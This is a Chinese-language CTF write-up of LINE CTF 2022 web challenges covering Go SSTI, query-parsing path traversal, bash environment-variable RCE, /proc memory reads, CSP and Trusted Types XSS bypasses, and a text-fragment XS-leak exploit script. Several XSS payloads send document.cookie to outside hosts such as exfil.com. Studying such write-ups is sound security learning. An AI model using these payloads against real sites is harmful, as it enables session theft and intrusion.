跟著隊伍 Water Paddler 一起參加了 LINE CTF 2022,在隊友的 carry 之下拿了第七名,這次只有一題有幫上一點忙,其他都被隊友解掉或是卡死。這篇簡單記一下每一題的解法,大部分都參考自 LINE CTF 2022 Writeups by maple3142 。
gotm(96 solves) 這題被隊友解掉所以沒仔細看,不過賽後看其他 writeup 是 go 的 SSTI,出現在這裡:
1 2 3 4 5 acc := get_account(id) tpl, err := template.New("" ).Parse("Logged in as " + acc.id) if err != nil {} tpl.Execute(w, &acc)
之前沒碰過 go 的 SSTI,稍微筆記一下,可以用 {{.}}
把傳入的物件整個 dump 出來,順便附幾個參考連結:
GO中SSTI研究
Go SSTI初探
Memo Drive(42 solves) 先附上關鍵程式碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def view (request) : context = {} try : context['request' ] = request clientId = getClientID(request.client.host) if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): raise filename = request.query_params[clientId] path = './memo/' + "" .join(request.query_params.keys()) + '/' + filename f = open(path, 'r' ) contents = f.readlines() f.close() context['filename' ] = filename context['contents' ] = contents
這題的 flag 在 ./memo/flag
底下,所以只要想辦法讓上面那一段的 path 可以讀到 flag 就勝利了。
隊友最後用這個 payload:/view?id=flag;%2f%2e%2e/;
,因為對 python 太不熟,所以起個簡單的 server 來觀察一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from urllib.parse import unquoteimport uvicornfrom starlette.applications import Starlettefrom starlette.routing import Routefrom starlette.responses import JSONResponsedef view (request) : try : clientId = "id" print("request.url:" , request.url) print("request.url.query" , request.url.query) print("params:" , request.query_params) print("unquote params:" , unquote(request.query_params[clientId])) if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): raise filename = request.query_params[clientId] print("filename:" , filename) print("keys:" , request.query_params.keys()) path = './memo/' + "" .join(request.query_params.keys()) + '/' + filename print("path:" , path) except : pass return JSONResponse({"a" :1 }) routes = [ Route('/view' , endpoint=view) ] app = Starlette(debug=True , routes=routes) if __name__ == "__main__" : uvicorn.run(app, host="0.0.0.0" , port=11000 )
先來看一下隊友的 payload 會怎樣:/view?id=flag;%2f%2e%2e/;
1 2 3 4 5 6 7 request.url: http://0.0.0.0:11000/view?id=flag;%2f%2e%2e/; request.url.query id=flag;%2f%2e%2e/; params: id=flag&%2F..%2F= unquote params: flag filename: flag keys: dict_keys(['id', '/../']) path: ./memo/id/..//flag
request.url
會直接是 raw URL,沒有 decode 過,然後 request.url.query
也是沒 decode 過的版本,到了 request.query_params
的時候則是被解析成了兩個 params:
id=flag
%2F..%2f=
看起來是因為分號 ;
的關係,所以就算不用 &
也可以創造出兩個 params。
而最後在 request.query_params.keys()
的時候被 decode,所以最後合起來就會是 ./memo/id..//flag
。
不過在 Discord 上看到其實這樣就好了:id=flag;/%2e%2e
,結果會是:
1 2 3 4 5 6 7 request.url: http://0.0.0.0:11000/view?id=flag;/%2e%2e request.url.query id=flag;/%2 e%2 e params: id=flag&%2 F..= unquote params: flag filename: flag keys: dict_keys(['id' , '/..' ]) path: ./memo/id/../flag
接著也在 Discord 看到另一個不同的解法(來自 bbangjo#3967),是利用 Host header:
1 2 GET http://0.0.0.0:11000/view?id=flag&/.. Host: 0.0.0.0#
就會產生神奇的結果:
1 2 3 4 5 6 7 request.url: http://0.0.0.0#/view?id=flag&/.. request.url.query params: id=flag&%2F..= unquote params: flag filename: flag keys: dict_keys(['id', '/..']) path: ./memo/id/../flag
雖然 request.url.query
整個變不見了,但是 request.query_params
卻還是有東西,因此就繞過了針對 request.url.query
的檢查。
根據他的說法,因為 request.url
是從 Host header 構造而來的,我們可以翻一下程式碼來驗證,如果沒找錯的話應該是在這:starlette/datastructures.py#L38 :
1 2 if host_header is not None : url = f"{scheme} ://{host_header} {path} "
因為 Host 被加了個 #
,所以後面的 query string 就被當成 fragment 來解析了,而不是 query string,所以 request.url.query
就會是空的。
那為什麼 request.query_params
有東西呢?因為它是直接拿最原始的 query string,而不是 request.url.query
,在這邊:starlette/requests.py#L116
1 2 3 4 5 @property def query_params (self) -> QueryParams: if not hasattr(self, "_query_params" ): self._query_params = QueryParams(self.scope["query_string" ]) return self._query_params
這真的是要看 source code 才會發現這種差異。
2022-03-29 補充:
感謝 @Zedd 提醒,把 ;
當作 &
來看的行為跟 Python 版本有關,因為會引起 cache poisoning 的關係,在較新的版本中都已經修復了,而挑戰時使用的版本是 3.9.0,所以才有這問題,而我在本機重現時用的也是還沒修復的版本。
漏洞編號為 CVE-2021-23336,詳情可看這裡:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator 。
bb(27 solves) 程式碼很短:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); function bye ($s, $ptn) { if (preg_match($ptn, $s)){ return false ; } return true ; } foreach ($_GET["env" ] as $k=>$v){ if (bye($k, "/=/i" ) && bye($v, "/[a-zA-Z]/i" )) { putenv("{$k}={$v}" ); } } system("bash -c 'imdude'" ); foreach ($_GET["env" ] as $k=>$v){ if (bye($k, "/=/i" )) { putenv("{$k}" ); } } highlight_file(__FILE__ ); ?>
基本上就是要做到控制環境變數之後 RCE,這讓人自然而然會想到前陣子 P 牛發表的這篇:我是如何利用环境变量注入执行任意命令 ,裡面提到可以藉由控制 BASH_ENV
來執行命令。
不過比較麻煩的地方是 a-zA-Z 都不能用,所以要在不能用英文字母的狀況下寫出指令來讀 flag 並回傳到自己 server。
聊天室有人給了一個類似題目的連結可以參考:34C3 CTF / Tasks / minbashmaxfun / Writeup ,看了開頭給的 writeup 也才發現原來可以這樣用:
靠這樣就可以繞開限制,不用到字母,bash 真是博大精深。
在 Discord 看到有人貼這串,值得參考跟筆記一下:好讀版 ,推特原串:https://twitter.com/DissectMalware/status/1023682809368653826
online library(19 solves) 這是個可以讀取特定檔案範圍的網頁,重點在這一段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 app.get("/:t/:s/:e" , (req: Express.Request, res : Express.Response): void => { const s: number = Number (req.params.s) const e: number = Number (req.params.e) const t: string = req.params.t if ((/[\x00-\x1f]|\x7f|\<|\>/ ).test(t)) { res.end("Invalid character in book title." ) } else { Fs.stat(`public/${t} ` , (err: NodeJS.ErrnoException, stats : Fs.Stats): void => { if (err) { res.end("No such a book in bookself." ) } else { if (s !== NaN && e !== NaN && s < e) { if ((e - s) > (1024 * 256 )) { res.end("Too large to read." ) } else { Fs.open(`public/${t} ` , "r" , (err: NodeJS.ErrnoException, fd : any): void => { if (err || typeof fd !== "number" ) { res.end("Invalid argument." ) } else { let buf: Buffer = Buffer.alloc(e - s); Fs.read(fd, buf, 0 , (e - s), s, (err: NodeJS.ErrnoException, bytesRead : number, buf : Buffer): void => { res.end(`<h1>${t} </h1><hr/>` + buf.toString("utf-8" )) }) } }) } } else { res.end("There isn't size of book." ) } } }) } });
第 path 的地方放上 /%2e%2e%2f/0/12345
就可以 path traversal 然後任意讀檔一下,但問題是要讀哪裡。
在隊友的幫忙下讀了 /proc/self/mem
,就是現在 node process 的記憶體,至於讀哪段要從 /proc/self/maps
去找,怎麼找我就不知道了。
然後因為有個 endpoint 會把參數放到 memory 中,所以可以先用那個 endpoint 去放你的 payload,接著因為這題讀檔有給 offset 的關係,找到記憶體中的 payload 把 offset 設定好,丟給 bot 以後就 XSS 了。
不過根據賽後討論,似乎是因為 flag 在 cookie 中,而 bot 送 request 到 server 時會帶 flag,所以這段 flag 也會出現在記憶體中,因此直接讀記憶體也可以找到 flag,不用 XSS。
Haribote Secure Note(7 solves) 這題卡了一整天,到最後依舊沒解開,so sad QQ
這題可以設定一個暱稱,最多 16 個字,然後可以新增 note,有 title 跟 content,顯示筆記的頁面關鍵程式碼在這裡:
1 2 3 4 5 6 7 8 9 10 <script nonce ="{{ csp_nonce }}" > const printInfo = () => { const sharedUserId = "{{ shared_user_id }}" ; const sharedUserName = "{{ shared_user_name }}" ; } const printInfoBtn = document .getElementById('printInfoBtn' ); printInfoBtn.addEventListener('click' , printInfo); </script >
還有接近結尾的這段:
1 2 3 4 5 6 <script nonce ="{{ csp_nonce }}" > const render = notes => { }; render({{ notes }}) </script >
前面那邊給了我們 16 個字的 JS injection,最後面 notes 那裡則是可以用 </script>
來跳離標籤,是 HTML injection,而這題的難點在於 CSP 很嚴:
1 2 3 <meta content ="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}' 'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default" http-equiv ="Content-Security-Policy" >
因為有 nonce,所以 unsafe-inline
沒作用,而 unsafe-eval
沒開所以也沒辦法動態去執行程式碼。
當初卡很久之後我有一個想法是我們可以用 HTML injection 插入一個表單 <form id="f">
,然後就可以對 admin CSRF,目的是去改 admin 的暱稱,因為在另一個頁面 profile 是沒有 CSP 的,而且同樣可以注入:
1 2 3 <input name ="display_name" type ="text" class ="form-control form-control-sm" id ="inputUserDisplayName" value ="{{ current_user.display_name }}" >
nickname 的部分可以設定成:";f.submit();"
之類的,就可以送出表單。改完之後再去造訪 profile 頁面,在那個頁面執行 XSS。
但最大的問題是 "onfocus=eval(name)
有 20 個字元,超過了界線所以無法成功(而且還要想一下 name 要怎麼設定)。
賽後看了其他人的解答,主要有三種。
第一種來自 Super HexaGoN ,是利用一個神奇的 script data double escaped state ,把兩個注入點中間的東西都註解掉,就可以在有 nonce 的 script 裡面執行程式碼。之前從沒看過這個,以後再來研究一下。
1 2 3 display name: <!--<script>"}/* title: --> /* content: */ location.href='(attacker)/c='+document.cookie
第二種是利用 import 不會被 Trusted Types 檔的特性 ,底下 payload 來自 maple3142 :
1 2 3 4 5 6 7 8 display name: "+import(y)+" title: </script><a id=x href="/ /SERVER"></ a> content: <a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()" ></a >
第三種則是利用 iframe,在其他頁面執行程式碼(來自 eskildsen#8025):
1 2 3 4 5 6 7 8 name: ";f.eval(p+"");" title: </script><iframe src="/p" name=f></iframe> content: <a href="javascript:window.top.location='http://exfil.com/'+btoa(this.parent.document.cookie)" id=p name=p>payload</a>
第三種是我唯一覺得自己有可能想到的,因為其他兩個我都不知道。
話說 ";f.eval(p+"");"
跟 <!--<script>"}/*
恰巧都是 16 個字,我猜其中一個應該是非預期解,這就是 CTF 好玩的地方XD
然後這題真的很有趣而且很值得學習,三種解法都是完全不同的思路。
喔對了,然後 maple3142 的 writeup 解決了我一個疑惑,那就是為什麼這一題的 template 都不會 escape,原來是因為 flask 預設只會 escape HTML/XML/XHTML,難怪我沒看到什麼設定。
title todo(6 solves) 這題基本上就是個上傳圖片的網站,上傳完會拿到一個 url,接著可以給 title 跟 image url 新建一個 post。
flag 則是用 admin 身份造訪時會放在網頁的最 footer,而且有著奇怪的格式:LINECTF{([0-9a-f]/){10}}
然後在顯示圖片的網頁有個地方沒有用雙引號包住:
1 <img src ={{ image.url }} class ="mb-3" >
雖然看起來是很小的一點,但其實整題的解法都是從這邊延伸出去的。從這邊不難看出我們可以控制 img 的任何屬性,不過我在這邊卡了頗久,想說可以控制又怎樣,沒辦法跳離 img 就不能 XSS。
然後經過隊友提醒才想到 STTF 的 xsleak,透過 img 的 lazy loading 來偵測是否有 scroll 的行為,所以只要 title 用很長,把 img 推下去,再加上 loading=lazy
的屬性,就可以搭配 STTF 來 leak 一個 byte。
不過這題還有一點要注意,就是 CSP:
1 default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' blob:
CSP 繞不開,所以就算 src
可控,也沒辦法設置外面的圖片。因此這題加上了另一個機制:cache,可以根據 response header 來決定一個圖片的 cache 是 miss 還是 hit,所以我們只要上傳一張新的圖片丟給 bot,過幾秒再去看他的 response header,如果是 hit 就代表 bot 有訪問圖片,代表 SSTF 有成功。
照著這個概念寫一個 exploit 就好:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import requestsimport jsonimport timefrom time import sleepbase_url = 'http://35.187.204.223' cookie = "session=.eJwtzrERwzAIAMBdVKcAJCHkZXyA4JzWjqtcdk-K_AT_LnuecR1le513PMr-XGUrqLggVU2SQCFTKqiIUxpbIhpNThy0GkEdXWaGdJ-16nJ3GAO8iwP0QeY5ISjnzLoImHE5VwmdzVCIaxOMMNGIPrizhlErv8h9xfnfAJTPF00fL_M.Yj71GQ.S1yffSzbOk6Rny1VyCqPTL-5wM8" def upload_image () : files = {'img_file' : open('a.png' ,'rb' )} resp = requests.post(base_url + '/image/upload' , files=files, headers={ "Cookie" : cookie }) return json.loads(resp.text) def create_post (url) : resp = requests.post(base_url + '/image' , data={ "title" : str(time.time()) + "w" *5000 , "img_url" : f"/static/image/111 srcset={url} loading=lazy " }, headers={ "Cookie" : cookie }, allow_redirects=False ) return resp.headers["X-ImageId" ] def share (url, keyword) : resp = requests.post(base_url + '/share' , json={ "path" : "image/" + url + "#:~:text=" + keyword, }, headers={ "Cookie" : cookie }) return resp.text def check_cached (img_url) : resp = requests.get(base_url + img_url, headers={ "Cookie" : cookie }, allow_redirects=False ) return resp.headers["X-Cache-Status" ] def run () : known = "LINECTF{" while True : for char in "0123456789abcdef" : print("trying:" + known+char) resp = upload_image() img_url = resp["img_url" ] print("img url:" + img_url) img_id = create_post(img_url) print("img id:" + img_id) share_res = share(img_id, known + char) print("resp:" + share_res) sleep(3 ) cache_resp = check_cached(img_url) print("cached:" + cache_resp) if cache_resp == "HIT" : known += char + "/" print(known) break run()
另外,maple3142 的 writeup 又解決了我一個疑惑,那就是為什麼 flag 要有那些 /
?原來是因為 Chromium 為了避免這種 xsleak,所以在判斷 SSTF 的時候一定要匹配到整個單字才會 scroll。
舉例來說,如果頁面上有這串字:Hello world
,你 text fragment 指定 He
,是不會理你的,要 Hello
才會,這也是為什麼這題要用 /
來分割,因為沒分割的話就沒辦法一個字一個字來 leak。
me7-ball(2 solves) 這題看起來好像跟 crypto 比較有關就沒仔細看了,直接貼 Super HexaGoN 的 writeup:https://gist.github.com/mdsnins/2912b9656c837e5190364136b307c682